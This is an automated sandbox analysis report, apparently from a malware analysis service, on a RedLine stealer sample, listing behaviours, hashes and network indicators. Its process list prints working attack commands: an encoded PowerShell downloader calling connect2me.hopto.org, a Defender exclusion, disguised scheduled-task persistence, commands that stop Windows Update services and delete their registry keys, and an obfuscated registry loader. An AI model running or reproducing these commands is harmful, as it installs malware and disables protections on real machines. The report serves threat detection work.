Analysis Overview
SHA256
702c24cbf8634002b69a57efdbede5fa256b487e97f7d9272354fdae9c363d33
Threat Level: Known bad
The file 17855519b9e1bde7cabf66a422b5671d4d462968 was found to be: Known bad.
Malicious Activity Summary
RedLine
RedLine payload
Modifies security service
Suspicious use of NtCreateUserProcessOtherParentProcess
Executes dropped EXE
Blocklisted process makes network request
Stops running service(s)
Downloads MZ/PE file
Drops file in Drivers directory
Loads dropped DLL
Uses the VBS compiler for execution
Suspicious use of SetThreadContext
Drops file in System32 directory
Launches sc.exe
Drops file in Program Files directory
Program crash
Suspicious use of WriteProcessMemory
Creates scheduled task(s)
Modifies data under HKEY_USERS
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-01-16 13:34
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-01-16 13:34
Reported
2023-01-16 14:46
Platform
win7-20220812-en
Max time kernel
152s
Max time network
148s
Command Line
Signatures
Modifies security service
| Description | Indicator | Process | Target |
| Key deleted | \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters | C:\Windows\System32\reg.exe | N/A |
| Key deleted | \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security | C:\Windows\System32\reg.exe | N/A |
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 1644 created 1284 | N/A | C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe | C:\Windows\Explorer.EXE |
| PID 1644 created 1284 | N/A | C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe | C:\Windows\Explorer.EXE |
| PID 1644 created 1284 | N/A | C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe | C:\Windows\Explorer.EXE |
| PID 1644 created 1284 | N/A | C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe | C:\Windows\Explorer.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Drops file in Drivers directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\System32\drivers\etc\hosts | C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\C4Loader.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\new2.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\SysApp.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe | N/A |
Stops running service(s)
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Uses the VBS compiler for execution
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2024 set thread context of 892 | N/A | C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
| PID 556 set thread context of 1952 | N/A | C:\Users\Admin\AppData\Local\Temp\new2.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
| PID 1644 set thread context of 980 | N/A | C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe | C:\Windows\System32\dialer.exe |
Drops file in Program Files directory
| Description | Indicator | Process | Target |
| File created | C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe | C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe | N/A |
Launches sc.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\new2.exe |
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 3095d2b0c129d901 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe
"C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2024 -s 36
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
C:\Users\Admin\AppData\Local\Temp\new2.exe
"C:\Users\Admin\AppData\Local\Temp\new2.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 556 -s 36
C:\Users\Admin\AppData\Local\Temp\SysApp.exe
"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
C:\Windows\System32\sc.exe
sc stop UsoSvc
C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
C:\Windows\System32\sc.exe
sc stop wuauserv
C:\Windows\System32\sc.exe
sc stop bits
C:\Windows\System32\sc.exe
sc stop dosvc
C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"
C:\Windows\System32\dialer.exe
C:\Windows\System32\dialer.exe
C:\Windows\system32\taskeng.exe
taskeng.exe {A1C9D353-A74B-4541-9387-552E5A3BC203} S-1-5-18:NT AUTHORITY\System:Service:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+'T'+''+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue('d'+'i'+'a'+[Char](108)+'e'+[Char](114)+''+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+'T'+'WAR'+[Char](69)+'').GetValue(''+'d'+'i'+[Char](97)+''+'l'+''+'e'+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)
Network
| Country | Destination | Domain | Proto |
| N/A | 8.8.8.8:53 | connect2me.hopto.org | udp |
| N/A | 37.139.129.113:443 | connect2me.hopto.org | tcp |
| N/A | 107.182.129.73:21733 | tcp |
Files
memory/892-54-0x0000000000400000-0x0000000000405000-memory.dmp
memory/892-56-0x0000000000400000-0x0000000000405000-memory.dmp
memory/892-62-0x0000000000401159-mapping.dmp
memory/892-63-0x0000000074D81000-0x0000000074D83000-memory.dmp
memory/892-64-0x0000000000400000-0x0000000000405000-memory.dmp
memory/1480-65-0x0000000000000000-mapping.dmp
memory/836-66-0x0000000000000000-mapping.dmp
memory/836-68-0x0000000072DA0000-0x000000007334B000-memory.dmp
memory/836-69-0x0000000072DA0000-0x000000007334B000-memory.dmp
memory/1840-72-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
| MD5 | bb86a343080f9f4696c250ef31a18d9d |
| SHA1 | 43b2193dcb1d56eac73ba88a7b461822074192d6 |
| SHA256 | 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0 |
| SHA512 | 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560 |
\Users\Admin\AppData\Local\Temp\C4Loader.exe
| MD5 | bb86a343080f9f4696c250ef31a18d9d |
| SHA1 | 43b2193dcb1d56eac73ba88a7b461822074192d6 |
| SHA256 | 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0 |
| SHA512 | 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560 |
\Users\Admin\AppData\Local\Temp\C4Loader.exe
| MD5 | bb86a343080f9f4696c250ef31a18d9d |
| SHA1 | 43b2193dcb1d56eac73ba88a7b461822074192d6 |
| SHA256 | 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0 |
| SHA512 | 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560 |
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
| MD5 | bb86a343080f9f4696c250ef31a18d9d |
| SHA1 | 43b2193dcb1d56eac73ba88a7b461822074192d6 |
| SHA256 | 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0 |
| SHA512 | 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560 |
\Users\Admin\AppData\Local\Temp\new2.exe
| MD5 | 990c8e3fc56a2734631b51fc61a6779a |
| SHA1 | 55a16cc67fc52cdf0690387e083955048106d48a |
| SHA256 | d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e |
| SHA512 | f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5 |
C:\Users\Admin\AppData\Local\Temp\new2.exe
| MD5 | 990c8e3fc56a2734631b51fc61a6779a |
| SHA1 | 55a16cc67fc52cdf0690387e083955048106d48a |
| SHA256 | d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e |
| SHA512 | f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5 |
memory/556-76-0x0000000000000000-mapping.dmp
memory/1952-78-0x0000000000080000-0x00000000000A0000-memory.dmp
memory/1952-80-0x0000000000080000-0x00000000000A0000-memory.dmp
memory/1952-85-0x000000000009ADAE-mapping.dmp
memory/1952-88-0x0000000000080000-0x00000000000A0000-memory.dmp
\Users\Admin\AppData\Local\Temp\new2.exe
| MD5 | 990c8e3fc56a2734631b51fc61a6779a |
| SHA1 | 55a16cc67fc52cdf0690387e083955048106d48a |
| SHA256 | d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e |
| SHA512 | f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5 |
\Users\Admin\AppData\Local\Temp\new2.exe
| MD5 | 990c8e3fc56a2734631b51fc61a6779a |
| SHA1 | 55a16cc67fc52cdf0690387e083955048106d48a |
| SHA256 | d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e |
| SHA512 | f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5 |
memory/1952-87-0x0000000000080000-0x00000000000A0000-memory.dmp
memory/1408-86-0x0000000000000000-mapping.dmp
\Users\Admin\AppData\Local\Temp\new2.exe
| MD5 | 990c8e3fc56a2734631b51fc61a6779a |
| SHA1 | 55a16cc67fc52cdf0690387e083955048106d48a |
| SHA256 | d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e |
| SHA512 | f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5 |
\Users\Admin\AppData\Local\Temp\SysApp.exe
| MD5 | b6bbab9f72c88d07b484cc339c475e75 |
| SHA1 | f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1 |
| SHA256 | dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f |
| SHA512 | 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5 |
memory/1612-94-0x0000000000000000-mapping.dmp
\Users\Admin\AppData\Local\Temp\SysApp.exe
| MD5 | b6bbab9f72c88d07b484cc339c475e75 |
| SHA1 | f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1 |
| SHA256 | dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f |
| SHA512 | 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5 |
C:\Users\Admin\AppData\Local\Temp\SysApp.exe
| MD5 | b6bbab9f72c88d07b484cc339c475e75 |
| SHA1 | f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1 |
| SHA256 | dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f |
| SHA512 | 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5 |
\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
| MD5 | f5c51e7760315ad0f0238d268c03c60e |
| SHA1 | 85ebaaa9685634143a72bc82c6e7df87a78eed4c |
| SHA256 | ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa |
| SHA512 | d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35 |
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
| MD5 | f5c51e7760315ad0f0238d268c03c60e |
| SHA1 | 85ebaaa9685634143a72bc82c6e7df87a78eed4c |
| SHA256 | ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa |
| SHA512 | d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35 |
memory/1644-97-0x0000000000000000-mapping.dmp
memory/836-99-0x0000000072DA0000-0x000000007334B000-memory.dmp
memory/1612-100-0x0000000001F80000-0x0000000002484000-memory.dmp
memory/1612-101-0x0000000001F80000-0x0000000002484000-memory.dmp
memory/1840-102-0x0000000000DC0000-0x0000000000F2C000-memory.dmp
memory/1612-103-0x0000000002490000-0x00000000025CD000-memory.dmp
memory/1612-105-0x0000000002490000-0x00000000025CD000-memory.dmp
memory/1840-106-0x0000000004EA0000-0x0000000005006000-memory.dmp
memory/1840-109-0x0000000005200000-0x000000000534E000-memory.dmp
memory/1840-110-0x00000000004D0000-0x00000000004E4000-memory.dmp
memory/1984-111-0x000007FEFB531000-0x000007FEFB533000-memory.dmp
memory/1984-112-0x000007FEF3140000-0x000007FEF3B63000-memory.dmp
memory/1984-114-0x0000000002464000-0x0000000002467000-memory.dmp
memory/1612-115-0x0000000001F80000-0x0000000002484000-memory.dmp
memory/1984-113-0x000007FEF25E0000-0x000007FEF313D000-memory.dmp
memory/1984-116-0x000000000246B000-0x000000000248A000-memory.dmp
memory/1612-117-0x0000000002490000-0x00000000025CD000-memory.dmp
memory/1984-118-0x0000000002464000-0x0000000002467000-memory.dmp
memory/1984-119-0x000000000246B000-0x000000000248A000-memory.dmp
\??\PIPE\srvsvc
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | 6ceb39b4187753bb6504725cec236468 |
| SHA1 | 30a2a6456ccad4f735fd8fa700a86621931ea8f5 |
| SHA256 | 24bb63be80a84841dff977b67a6b9a4dbfc9344ecd213c755df0263a1740efaf |
| SHA512 | 8642190acb122e2a7bbda9a538d2d66595b35f5b46b5674909f5b5c03fa5073c66440b649d6deb810b99a9656dab2bd5dac6d82fb77c4410d09501bc24a3aa4b |
memory/1440-123-0x000007FEF3AE0000-0x000007FEF4503000-memory.dmp
memory/1440-124-0x000007FEF2F80000-0x000007FEF3ADD000-memory.dmp
memory/1724-125-0x0000000000000000-mapping.dmp
memory/1652-127-0x0000000000000000-mapping.dmp
memory/1440-128-0x00000000025A4000-0x00000000025A7000-memory.dmp
memory/728-129-0x0000000000000000-mapping.dmp
memory/512-130-0x0000000000000000-mapping.dmp
memory/916-131-0x0000000000000000-mapping.dmp
memory/2028-132-0x0000000000000000-mapping.dmp
